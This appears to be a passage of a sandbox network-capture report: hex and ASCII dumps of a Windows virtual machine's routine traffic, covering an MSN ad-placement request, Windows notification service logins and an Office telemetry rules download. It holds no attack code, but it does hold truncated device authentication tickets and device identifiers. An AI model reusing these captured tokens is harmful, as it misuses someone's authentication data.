2024-12-08 16:45:05 UTC	1572	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164451Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7dbfed328bef47389aa333772cfe252c&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619826&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619826&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 Cache-Control: no-cache MS-CV: 2brk1iqH4EiC1FVl.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-08 16:45:06 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3356 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P426081542-T1-C128000000001615609+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: dIu40VoM6TB1vIZgUqm0TV2RXRWajxyYfqImExc9uRAQ0XahTB3BTKOf/J+DBmxOf+tvIoBaMAJPeZ4h6pZNhL2tzT7hUd9WI7ne3OrhL4g4uSDKxV7Mz87e5C0q102ah4m1/8T42+brCo3h69eDEV5/RDfp2nzjSeDpxsz7Gb+aRER97VuiGS7uMt8mM5EtQHZ8GumgMYKTKYdccdwFHDQ0j6qeC8B6GzF4lCU0mECBYcVdJ4jirydujZsgOVJkkuEbOmE7X8oBOtcLkdk92jBb4kWe/57Q+UkPPr/cLHqNQdseg1++ijZVIFVmBrLKB8nMjIg+I6IR3KVN2qfrnA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 08 Dec 2024 16:45:05 GMT Connection: close
2024-12-08 16:45:06 UTC	3356	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49709	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:05 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 65 74 57 2b 45 63 68 34 58 55 61 4f 55 35 74 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 32 30 35 30 65 36 66 35 66 66 64 66 34 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: etW+Ech4XUaOU5tm.1Context: 9b2050e6f5ffdf4d
2024-12-08 16:45:05 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-08 16:45:05 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 65 74 57 2b 45 63 68 34 58 55 61 4f 55 35 74 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 32 30 35 30 65 36 66 35 66 66 64 66 34 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 7a 55 45 6b 33 4e 66 59 68 39 44 37 4a 45 5a 56 62 6c 51 70 7a 62 55 68 49 35 31 6e 4c 71 31 6c 79 78 73 49 65 70 6c 50 58 6f 72 4f 79 52 49 56 48 6e 75 53 2b 51 69 6e 32 63 6a 51 38 47 78 6c 52 66 65 2f 66 72 53 38 6e 4e 35 33 45 6b 50 56 49 67 5a 54 76 4c 63 7a 43 74 4b 2f 74 4b 78 6b 4e 6c 45 66 39 33 48 61 4b 43 39 4b Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: etW+Ech4XUaOU5tm.2Context: 9b2050e6f5ffdf4d<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXzUEk3NfYh9D7JEZVblQpzbUhI51nLq1lyxsIeplPXorOyRIVHnuS+Qin2cjQ8GxlRfe/frS8nN53EkPVIgZTvLczCtK/tKxkNlEf93HaKC9K
2024-12-08 16:45:05 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 65 74 57 2b 45 63 68 34 58 55 61 4f 55 35 74 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 62 32 30 35 30 65 36 66 35 66 66 64 66 34 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: etW+Ech4XUaOU5tm.3Context: 9b2050e6f5ffdf4d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-08 16:45:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 16:45:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 66 45 57 77 4b 35 4e 49 55 6b 4b 58 63 63 74 32 69 4b 2b 7a 32 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: fEWwK5NIUkKXcct2iK+z2Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49714	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:08 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 67 53 6e 51 4b 50 65 68 34 30 61 73 4c 41 6f 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 30 31 33 37 65 36 38 61 37 63 33 62 37 64 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: gSnQKPeh40asLAob.1Context: c0137e68a7c3b7d4
2024-12-08 16:45:08 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-08 16:45:08 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 67 53 6e 51 4b 50 65 68 34 30 61 73 4c 41 6f 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 30 31 33 37 65 36 38 61 37 63 33 62 37 64 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 44 6d 30 76 7a 38 72 33 62 45 30 44 37 33 77 2f 68 58 4d 59 77 77 46 48 73 47 65 5a 39 44 65 68 45 76 65 2f 6b 46 76 31 52 75 55 6a 4f 35 69 7a 4e 76 6e 47 77 4f 6d 6e 6a 42 35 72 38 71 5a 43 47 4b 2b 45 4e 35 34 56 61 47 32 6e 64 58 76 77 47 63 32 72 50 76 54 6b 50 37 4c 75 36 50 34 42 77 77 35 39 6e 78 6e 2b 41 77 39 54 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: gSnQKPeh40asLAob.2Context: c0137e68a7c3b7d4<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfDm0vz8r3bE0D73w/hXMYwwFHsGeZ9DehEve/kFv1RuUjO5izNvnGwOmnjB5r8qZCGK+EN54VaG2ndXvwGc2rPvTkP7Lu6P4Bww59nxn+Aw9T
2024-12-08 16:45:08 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 67 53 6e 51 4b 50 65 68 34 30 61 73 4c 41 6f 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 30 31 33 37 65 36 38 61 37 63 33 62 37 64 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: gSnQKPeh40asLAob.3Context: c0137e68a7c3b7d4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-08 16:45:09 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 16:45:09 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 2f 4d 33 65 4d 63 49 41 6b 65 37 76 34 34 62 6c 48 50 44 66 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: A/M3eMcIAke7v44blHPDfg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:12 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:12 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:12 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 07 Dec 2024 15:08:57 GMT ETag: "0x8DD16D112C941E3" x-ms-request-id: 2bf777ac-301e-0099-29dd-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164512Z-r1cf579d778t6txphC1EWRsd4400000006e0000000001k5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:12 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-08 16:45:13 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-08 16:45:13 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-08 16:45:13 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-08 16:45:13 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-08 16:45:13 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-08 16:45:13 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-08 16:45:13 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
